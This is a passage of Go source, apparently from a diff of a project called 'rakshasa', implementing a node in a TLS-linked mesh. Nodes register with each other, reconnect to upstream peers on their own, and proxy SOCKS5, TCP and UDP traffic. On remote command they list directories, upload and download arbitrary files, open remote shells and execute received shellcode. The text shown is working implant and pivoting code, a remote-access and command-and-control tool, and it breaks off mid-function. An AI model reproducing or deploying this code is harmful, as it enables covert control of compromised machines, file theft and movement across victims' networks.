"sync/atomic"
)
type lock struct {
l sync.RWMutex
}
type unlock struct {
key string
l *sync.RWMutex
}
func (l *lock) Lock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
if common.DebugLock {
_, file, line, _ := runtime.Caller(1)
key := file + "行" + strconv.Itoa(line)
u.key = key
var n *int32
if v, ok := common.DebugLockMap.Load(key); ok {
n = v.(*int32)
} else {
a := int32(0)
n = &a
common.DebugLockMap.Store(key, n)
}
atomic.AddInt32(n, 1)
}
l.l.Lock()
return u
}
func (l *lock) RLock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
if common.DebugLock {
_, file, line, _ := runtime.Caller(1)
key := file + "行" + strconv.Itoa(line)
u.key = key
var n *int32
if v, ok := common.DebugLockMap.Load(key); ok {
n = v.(*int32)
} else {
a := int32(0)
n = &a
common.DebugLockMap.Store(key, n)
}
atomic.AddInt32(n, 1)
}
l.l.RLock()
return u
}
func (l *unlock) Unlock() {
if common.DebugLock {
if v, ok := common.DebugLockMap.Load(l.key); ok {
atomic.AddInt32(v.(*int32), -1)
} else {
panic("")
}
}
l.l.Unlock()
}
func (l *unlock) RUnlock() {
if common.DebugLock {
if v, ok := common.DebugLockMap.Load(l.key); ok {
atomic.AddInt32(v.(*int32), -1)
} else {
panic("")
}
}
l.l.RUnlock()
}
func printLock() {
common.DebugLockMap.Range(func(key, value interface{}) bool {
fmt.Println(key, *value.(*int32))
return true
})
}
+1379
View File
@@ -0,0 +1,1379 @@
package server
import (
"bytes"
"crypto/tls"
"encoding/json"
"errors"
"fmt"
uuid2 "github.com/google/uuid"
"io"
"io/ioutil"
"math/rand"
"net"
"os"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"unsafe"
)
var (
currentNode = &node{uuid: uuid2.New().String()}
clientLock = &lock{}
nodeMap = make(map[string]*node)
upLevelNode []*node //上游节点
upNodeWrite = make(chan []byte, 999)
extNodeIp []string
connMap sync.Map
)
func InitCurrentNode() {
s := unsafe.Sizeof(uintptr(1))
bit := " x32"
if s == 8 {
bit = " x64"
}
rand.Seed(time.Now().Unix())
currentNode.hostName, _ = os.Hostname()
if ip, _ := common.ExternalIP(); ip != nil {
currentNode.addr = ip.String()
}
currentNode.goos = runtime.GOOS + bit
currentNode.mirrorNode = &node{
id: currentNode.id,
uuid: currentNode.uuid,
hostName: currentNode.hostName,
goos: currentNode.goos,
addr: currentNode.addr,
}
currentNode.mirrorNode.mirrorNode = currentNode
nodeMap[currentNode.uuid] = currentNode
//fmt.Println("当前节点UUID", currentNode.uuid)
go func() {
for b := range upNodeWrite {
for {
ok := func() bool {
l := clientLock.Lock()
defer l.Unlock()
if len(upLevelNode) == 0 {
return false
}
upLevelNode[0].conn.tlsWrite(b)
return true
}()
if ok {
break
}
time.Sleep(time.Second)
}
}
}()
nodeTickPing()
time.AfterFunc(time.Second*10, checkUpLevelNode)
}
func checkUpLevelNode() {
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
//尝试重新连接节点
for _, addr := range currentConfig.DstNode {
connectNew(addr)
}
if len(upLevelNode) == 0 {
//尝试连接其他节点
if !currentConfig.Limit {
for _, addr := range extNodeIp {
if common.Debug {
fmt.Println("连接extNodeIp", addr)
}
connectNew(addr)
if len(upLevelNode) > 0 {
return
}
}
func() {
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
if len(n.mainIp) == 0 {
if common.Debug {
fmt.Println("连接n.addr", fmt.Sprintf("%s:%d", n.addr, n.port))
}
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
}
}()
if len(upLevelNode) > 0 {
return
}
}
}
}()
}
}
}
time.AfterFunc(time.Second*5, checkUpLevelNode)
}
func nodeTickPing() {
l := clientLock.RLock()
defer l.RUnlock()
now := time.Now().Unix()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
for _, ip := range n.mainIp {
if ip != "" {
addr1 := fmt.Sprintf("%s:%d", ip, n.port)
find := false
for _, addr2 := range extNodeIp {
if addr1 == addr2 {
find = true
break
}
}
if !find {
extNodeIp = append(extNodeIp, addr1)
}
}
}
if n.nextPingTime == 0 {
go n.ping(0)
n.nextPingTime = now + 10 + rand.Int63n(10)
} else if n.nextPingTime < now {
go n.ping(0)
n.nextPingTime = now + 30 + rand.Int63n(30)
}
}
}
time.AfterFunc(time.Second*1, nodeTickPing)
}
// 节点
type node struct {
id int
uuid string
hostName string
goos string
addr string
connMap sync.Map
udpConnMap sync.Map
listenMap sync.Map //client端会存入clientListen,server存入serverListen
shellMap sync.Map
queryMap sync.Map
conn *Conn
pingTime, pongTime int64
mainIp []string
port int
listen net.Listener
nextPingTime int64
waitMsg []*common.Msg //需要等待处理的消息
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
}
type nodeMsg struct {
UUID string
HostName string
Addr string
MainIp []string
Port int
Goos string
}
func connectNew(addr string) (n *node, e error) {
config := cert.Tlsconfig.Clone()
conn, err := tls.Dial("tcp", addr, config)
if err != nil {
return nil, err
}
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
connMap.Store(c.remoteAddr, conn)
c.regResult = make(chan error, 1)
c.regResultNode = make(chan *node, 1)
c.handle()
c.reg()
defer func() {
if c.node != nil {
l := clientLock.Lock()
find := false
for _, n := range upLevelNode {
if n.uuid == c.node.uuid {
find = true
}
}
if !find {
upLevelNode = append(upLevelNode, c.node)
}
l.Unlock()
resChan := make(chan interface{}, 1)
id := c.node.storeQuery(resChan)
c.node.Write(common.CMD_GET_NODE, id, []byte{0})
select {
case <-resChan:
c.node.deleteQuery(id)
c.node.broadcastNode()
case <-time.After(common.CMD_TIMEOUT):
c.node.deleteQuery(id)
c.node.Close("")
e = errors.New("time out")
}
}
}()
select {
case err = <-c.regResult:
return nil, err
case n = <-c.regResultNode:
return n, err
case <-time.After(time.Second * 10):
return nil, errors.New("time out")
}
}
func (n *node) Write(option uint8, id uint32, b []byte) {
msg := common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: option,
CmdId: id,
CmdData: b,
}
if n.uuid == currentNode.uuid {
n.mirrorNode.do(&msg)
} else {
if n.conn != nil {
n.conn.OutChan <- msg.Marshal()
} else {
upNodeWrite <- msg.Marshal()
}
}
}
func (n *node) WriteMsg(msg *common.Msg) {
if n.conn != nil {
n.conn.OutChan <- msg.Marshal()
} else {
upNodeWrite <- msg.Marshal()
}
}
func (n *node) do(msg *common.Msg) {
if common.Debug {
fmt.Println("client收到", common.CmdToName[msg.CmdOpteion])
}
var err error
//fmt.Println(common.CmdToName[msg.CmdOpteion])
switch msg.CmdOpteion {
case common.CMD_CONNECT_BYIDADDR:
conn := &serverConnect{}
conn.node = n
conn.id = msg.CmdId
conn.write = make(chan *bytes.Buffer, 64)
conn.close = 0
conn.windowsSize = 0
conn.wait = make(chan int)
n.connMap.Store(conn.id, conn)
addr := string(msg.CmdData[1:])
switch common.NetWork(msg.CmdData[0]) {
case common.SOCKS5_CMD_CONNECT:
conn.address = addr
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
case common.SOCKS5_CMD_UDP:
go conn.doHandleUdp()
case common.RAW_TCP:
go conn.doConnectTcp(common.RAW_TCP, addr)
case common.RAW_TCP_WITH_PROXY:
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
case common.SOCKS5_CMD_BIND:
_l, err := net.Listen("tcp", addr)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId}
n.connMap.Delete(conn.id)
l.socks5Replay = make([]byte, len(msg.CmdData))
copy(l.socks5Replay, msg.CmdData)
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
n.listenMap.Store(l.id, l)
go l.Lisen()
}
case common.CMD_CONNECT_BYIDADDR_RESULT:
if v, ok := n.connMap.Load(msg.CmdId); ok {
if conn, ok := v.(common.Conn); ok {
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
}
}
case common.CMD_CONN_MSG:
v, ok1 := n.connMap.Load(msg.CmdId)
conn, ok2 := v.(common.Conn)
if !ok1 || !ok2 {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
return
}
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
case common.CMD_DELETE_CONNID:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
if conn, ok2 := v.(common.Conn); ok2 {
conn.Close("对方节点要求关闭")
} else {
n.connMap.Delete(msg.CmdId)
}
}
case common.CMD_WINDOWS_UPDATE:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
conn := v.(*serverConnect)
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if windows_update_size > 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
} else {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
}
case common.CMD_REG:
func() {
l := clientLock.Lock()
defer l.Unlock()
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
regmsg.Err = err.Error()
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
uuid := regmsg.UUID
if uuid == currentNode.uuid {
regmsg.Err = "不能连接自己"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
n.goos = regmsg.Goos
resultMsg := regmsg
resultMsg.Addr = currentNode.addr
resultMsg.UUID = currentNode.uuid
resultMsg.Hostname = currentNode.hostName
resultMsg.MainIp = currentNode.mainIp
resultMsg.Port = currentNode.port
resultMsg.Goos = currentNode.goos
b, _ := json.Marshal(resultMsg)
//返回成功结果
n.Write(common.CMD_REG_RESULT, 0, b)
//储存节点
n.uuid = uuid
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
n.conn.node = n
nodeMap[regmsg.UUID] = n
n.broadcastNode()
}
}()
case common.CMD_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
select {
case n.conn.regResult <- err:
default:
}
return
}
if regmsg.Err != "" {
select {
case n.conn.regResult <- errors.New(regmsg.Err):
default:
}
return
}
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.goos = regmsg.Goos
workconn := n.conn
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
if v, ok := nodeMap[regmsg.UUID]; ok {
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.uuid = "" //清空uuid避免正常的node被删
n.conn.Close("重复注册") //当前的连接关掉
n.conn = v.conn
v.mainIp = regmsg.MainIp
v.port = regmsg.Port
n = v
} else {
n.conn.node = n
}
} else {
n.conn.node = n
}
nodeMap[n.uuid] = n
l.Unlock()
select {
case workconn.regResultNode <- n:
default:
}
//回复节点
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if currentConfig.Limit {
regmsg.Err = "node is in limit mode"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
return
}
if err == nil {
var node *node
node, err = connectNew(regmsg.RegAddr)
if err == nil {
regmsg.UUID = node.uuid
regmsg.Hostname = node.hostName
regmsg.ViaUUID = currentNode.uuid
regmsg.MainIp = currentNode.mainIp
regmsg.Port = currentNode.port
regmsg.Goos = currentNode.goos
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
}
if err != nil {
regmsg.Err = err.Error()
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
case common.CMD_REMOTE_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
v, ok := n.loadQuery(msg.CmdId)
if !ok {
return
}
if err != nil {
v <- err
return
}
if regmsg.Err != "" {
v <- errors.New(regmsg.Err)
return
}
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.goos = regmsg.Goos
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
if v, ok := nodeMap[regmsg.UUID]; !ok {
n.conn.node = n
} else {
if v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.conn.close <- "" //当前的连接关掉
n.conn = v.conn
v.mainIp = regmsg.MainIp
v.port = regmsg.Port
} else {
n.conn.node = n
}
}
nodeMap[n.uuid] = n
l.Unlock()
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
n.writeGetNodeResult(msg.CmdId)
n.broadcastNode()
case common.CMD_PING:
n.Write(common.CMD_PONG, msg.CmdId, msg.CmdData)
case common.CMD_NONE:
case common.CMD_PONG:
pingTime := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if pingTime != n.pingTime {
return
}
n.pongTime = time.Now().Unix()
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- struct{}{}:
default:
}
}
case common.CMD_CONN_UDP_MSG:
_, ok := n.connMap.Load(msg.CmdId)
if ok {
var conn common.Conn
id := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v2, ok := n.connMap.Load(id); ok {
conn = v2.(common.Conn)
} else {
var ip string
switch msg.CmdData[4] {
case 1:
ip = fmt.Sprintf("%d.%d.%d.%d:%d", msg.CmdData[5], msg.CmdData[6], msg.CmdData[7], msg.CmdData[8], int(msg.CmdData[9])<<8|int(msg.CmdData[10]))
case 3:
case 4:
}
udpconn := &serverConnect{}
udpconn.conn, err = net.Dial("udp", ip)
if err != nil {
return
}
udpconn.node = n
udpconn.id = id
udpconn.write = make(chan *bytes.Buffer, 64)
udpconn.close = 0
udpconn.windowsSize = 0
udpconn.wait = make(chan int)
n.connMap.Store(udpconn.id, udpconn)
go udpconn.handUdpReceive()
conn = udpconn
}
switch msg.CmdData[4] {
case 1:
conn.Write(append([]byte{common.CMD_CONN_UDP_MSG}, msg.CmdData[11:]...))
}
}
case common.CMD_LISTEN:
//fmt.Println("listen", string(data[common.Headlen+4:]))
_l, err := net.Listen("tcp", string(msg.CmdData))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
}
l := &serverListen{listen: _l, node: n, id: msg.CmdId}
n.listenMap.Store(msg.CmdId, l)
go l.Lisen()
case common.CMD_REMOTE_SOCKS5:
cfg, err := common.ParseAddr(string(msg.CmdData))
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
l := &serverListen{node: n, id: msg.CmdId}
l.listen, err = StartSocks5WithServer(cfg, n, l.id)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
} else {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, []byte{1})
}
n.listenMap.Store(l.id, l)
case common.CMD_LISTEN_RESULT:
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
if c, ok := v.(*clientListen); ok {
if msg.CmdData[0] == 0 {
select {
case c.result <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case c.result <- nil:
default:
}
}
}
}
case common.CMD_DELETE_LISTEN:
if v, ok := n.listenMap.Load(msg.CmdId); ok {
switch s := v.(type) {
case *serverListen:
s.Close(remoteClose)
case *clientListen:
s.Close(remoteClose)
}
}
n.listenMap.Delete(msg.CmdId)
case common.CMD_DELETE_LISTENCONN_BYID:
deleteId := uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
if v, ok := n.listenMap.Load(msg.CmdId); ok {
if s, ok := v.(*serverListen); ok {
conn, ok := s.connMap.Load(deleteId)
if ok {
conn.(*serverConnect).Close(remoteClose)
s.connMap.Delete(deleteId)
}
}
}
case common.CMD_PWD:
pwd, _ := os.Getwd()
n.Write(common.CMD_PWD_RESULT, msg.CmdId, []byte(pwd))
case common.CMD_PWD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_GET_NODE:
n.writeGetNodeResult(msg.CmdId)
case common.CMD_GET_NODE_RESULT:
l := clientLock.Lock()
defer l.Unlock()
var s []nodeMsg
err = json.Unmarshal(msg.CmdData, &s)
if err == nil {
for _, _n := range s {
if _n.UUID != currentNode.uuid {
if v, ok := nodeMap[_n.UUID]; !ok {
nodeMap[_n.UUID] = newNode(_n, n)
} else {
v.hostName = _n.HostName
v.mainIp = _n.MainIp
v.port = _n.Port
if _n.Addr != "" {
v.addr = _n.Addr
}
}
}
}
}
v, ok := n.loadQuery(msg.CmdId)
if ok {
//通知已更新列表
select {
case v <- err:
default:
}
}
case common.CMD_GET_CURRENT_NODE:
nmsg := nodeMsg{
UUID: currentNode.uuid,
HostName: currentNode.hostName,
Addr: currentNode.addr,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
b, _ := json.Marshal(nmsg)
n.Write(common.CMD_GET_CURRENT_NODE_RESULT, msg.CmdId, b)
case common.CMD_ADD_NODE:
var nmsg nodeMsg
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
return
}
l := clientLock.Lock()
defer l.Unlock()
if v, ok := nodeMap[nmsg.UUID]; !ok {
_n := newNode(nmsg, n)
nodeMap[nmsg.UUID] = _n
} else if nmsg.UUID != currentNode.uuid {
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.hostName = nmsg.HostName
v.goos = nmsg.Goos
if nmsg.Addr != "" {
v.addr = nmsg.Addr
}
}
case common.CMD_DIR:
dirPth := string(msg.CmdData)
dir, err := ioutil.ReadDir(dirPth)
if err != nil {
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte("读取目录 "+dirPth+" 失败"))
return
}
var s []string
var maxlen int
var hasdir string
for _, fi := range dir {
if len(fi.Name()) > maxlen {
maxlen = len(fi.Name())
}
if fi.IsDir() {
hasdir = " "
}
}
for _, fi := range dir {
var p string
name := bytes.Repeat([]byte(" "), maxlen)
copy(name, fi.Name())
if fi.IsDir() { // 忽略目录
p = "<DIR> " + string(name)
} else {
p = hasdir + string(name) + " size:" + strconv.FormatInt(fi.Size(), 10)
}
s = append(s, p)
}
n.Write(common.CMD_DIR_RESULT, msg.CmdId, []byte(strings.Join(s, "\n")))
case common.CMD_DIR_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
select {
case v <- string(msg.CmdData):
default:
}
}
case common.CMD_CD:
dirPth := string(msg.CmdData)
s, err := os.Stat(dirPth)
if err != nil {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{1}, dirPth...))
} else {
n.Write(common.CMD_CD_RESULT, msg.CmdId, append([]byte{0}, "该路径不是文件夹"...))
}
case common.CMD_CD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- string(msg.CmdData[1:]):
default:
}
}
}
case common.CMD_CONNECT_BYID:
var l *clientListen
if v, ok := currentNode.listenMap.Load(msg.CmdId); ok {
l, _ = v.(*clientListen)
}
if l == nil {
n.Write(common.CMD_DELETE_LISTEN, msg.CmdId, nil)
return
}
//l := clientLock.Lock()
//b := clientListenMap[id]
//l.Unlock()
conn, err := net.Dial("tcp", l.localAddr)
if err != nil {
n.Write(common.CMD_DELETE_LISTENCONN_BYID, l.id, msg.CmdData)
return
}
client := &clientConnect{}
client.id = uint32(msg.CmdData[0]) | uint32(msg.CmdData[1])<<8 | uint32(msg.CmdData[2])<<16 | uint32(msg.CmdData[3])<<24
client.server = l.server
client.listenId = msg.CmdId
client.conn = conn
client.OnOpened()
l.connMap.Store(client.id, client)
l.server.connMap.Store(client.id, client)
go rawHandleLocal(client)
case common.CMD_PING_LISTEN:
if _, ok := n.listenMap.Load(msg.CmdId); !ok {
//通知客户端服务器listen不存在
n.Write(common.CMD_PING_LISTEN_RESULT, msg.CmdId, []byte{0})
}
case common.CMD_PING_LISTEN_RESULT:
if value, ok := n.listenMap.Load(msg.CmdId); ok {
switch v := value.(type) {
case *clientListen:
n.Write(v.openOption, v.id, v.openMsg)
go func() {
select {
case res := <-v.result:
if err, ok := res.(error); ok {
v.Close(err.Error())
}
case <-time.After(common.CMD_TIMEOUT):
v.Close("listen time out")
}
}()
case *serverListen:
v.Close(remoteClose)
}
}
case common.CMD_UPLOAD:
i := bytes.IndexByte(msg.CmdData, 0)
if i == -1 {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "协议错误"...))
return
}
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var f *os.File
if offset == 0 {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0666)
} else {
f, err = os.OpenFile(file, os.O_CREATE|os.O_WRONLY, 0666)
}
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
num, err := f.Write(msg.CmdData[i+9:])
if err != nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 "+err.Error()...))
return
}
if num != len(msg.CmdData[i+9:]) {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, append([]byte{0}, "写入"+file+"失败 需要写入"+strconv.Itoa(len(msg.CmdData[i+8:]))+" 实际写入"+strconv.Itoa(num)...))
return
}
s, err := os.Stat(file)
if err == nil {
n.Write(common.CMD_UPLOAD_RESULT, msg.CmdId, []byte{1, byte(s.Size()), byte(s.Size() >> 8), byte(s.Size() >> 16), byte(s.Size() >> 24), byte(s.Size() >> 32), byte(s.Size() >> 40), byte(s.Size() >> 48), byte(s.Size() >> 56)})
}
case common.CMD_UPLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
}
}
case common.CMD_DOWNLOAD:
i := bytes.IndexByte(msg.CmdData, 0)
file := string(msg.CmdData[:i])
offset := int64(msg.CmdData[i+1]) | int64(msg.CmdData[i+2])<<8 | int64(msg.CmdData[i+3])<<16 | int64(msg.CmdData[i+4])<<24 | int64(msg.CmdData[i+5])<<32 | int64(msg.CmdData[i+6])<<40 | int64(msg.CmdData[i+7])<<48 | int64(msg.CmdData[i+8])<<56
var size int64
if offset == -1 {
s, err := os.Stat(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
if s.IsDir() {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, file+"是一个目录 不可下载"...))
return
}
size = s.Size()
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, []byte{1, byte(size), byte(size >> 8), byte(size >> 16), byte(size >> 24), byte(size >> 32), byte(size >> 40), byte(size >> 48), byte(size >> 56)})
}
f, err := os.Open(file)
if err != nil {
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
defer f.Close()
f.Seek(offset, 0)
for i := 0; i < 10; i++ {
buf := make([]byte, common.MAX_PACKAGE-1)
num, err := f.Read(buf)
if err != nil {
if err == io.EOF {
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{0}, "读取"+file+"失败 "+err.Error()...))
return
}
n.Write(common.CMD_DOWNLOAD_RESULT, msg.CmdId, append([]byte{2}, buf[:num]...))
}
case common.CMD_DOWNLOAD_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
switch msg.CmdData[0] {
case 0:
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
case 1:
size := int64(msg.CmdData[1]) | int64(msg.CmdData[2])<<8 | int64(msg.CmdData[3])<<16 | int64(msg.CmdData[4])<<24 | int64(msg.CmdData[5])<<32 | int64(msg.CmdData[6])<<40 | int64(msg.CmdData[7])<<48 | int64(msg.CmdData[8])<<56
select {
case v <- size:
default:
}
case 2:
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL:
var param StartCmdParam
if err = json.Unmarshal(msg.CmdData, &param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
if err := startCMD(n, msg.CmdId, param); err != nil {
n.Write(common.CMD_SHELL_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
}
case common.CMD_SHELL_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
if msg.CmdData[0] == 0 {
select {
case v <- errors.New(string(msg.CmdData[1:])):
default:
}
} else {
select {
case v <- msg.CmdData[1:]:
default:
}
}
}
case common.CMD_SHELL_DATA:
if v, ok := n.shellMap.Load(msg.CmdId); ok {
cmd := v.(*remoteCmd)
select {
case cmd.inChan <- msg.CmdData:
default:
}
}
case common.CMD_RUN_SHELLCODE:
go func() {
var s ShellCodeStruct
err = json.Unmarshal(msg.CmdData, &s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
}
err = doShellcode(s)
if err != nil {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, []byte(err.Error()))
} else {
n.Write(common.CMD_RUN_SHELLCODE_RESULT, msg.CmdId, nil)
}
}()
case common.CMD_RUN_SHELLCODE_RESULT:
if v, ok := n.loadQuery(msg.CmdId); ok {
var err error
if len(msg.CmdData) > 0 {
err = errors.New(string(msg.CmdData))
}
select {
case v <- err:
default:
}
}
default:
if common.Debug {
fmt.Println(msg.CmdOpteion, "协议错误")
}
n.conn.Close("协议错误")
}
}
func (n *node) remoteReg(addr string) (newN *node, err error) {
regmsg := common.RegMsg{
Addr: currentNode.addr,
RegAddr: addr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
regmsg.Hostname, _ = os.Hostname()
b, _ := json.Marshal(regmsg)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_REMOTE_REG, id, b)
select {
case i := <-resChan:
n.deleteQuery(id)
if v, ok := i.(error); ok {
return nil, v
}
if v, ok := i.(*node); ok {
return v, nil
}
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
return nil, errors.New("time out")
}
return nil, errors.New("error result")
}
func (n *node) Close(reason string) {
if n.conn != nil && n.conn.node.uuid == n.uuid {
n.conn.close <- reason
}
n.Delete(reason)
}
func newNode(m nodeMsg, n *node) *node {
_n := &node{
uuid: m.UUID,
hostName: m.HostName,
addr: m.Addr,
conn: n.conn,
pongTime: time.Now().Unix(),
mainIp: m.MainIp,
port: m.Port,
goos: m.Goos,
}
return _n
}
func allNodesDo(f func(*node) (bool, error)) (err error) {
var ok bool
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
ok, err = f(n)
}()
if err != nil {
return err
}
if !ok {
break
}
}
}
return nil
}
func (n *node) ping(id uint32) {
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
now := time.Now()
if n.pingTime > n.pongTime {
if common.Debug {
fmt.Println(time.Now().Format("2006-01-02 15:04:05"), n.uuid, "超时")
}
if n.conn != nil && n.conn.node.uuid == n.uuid {
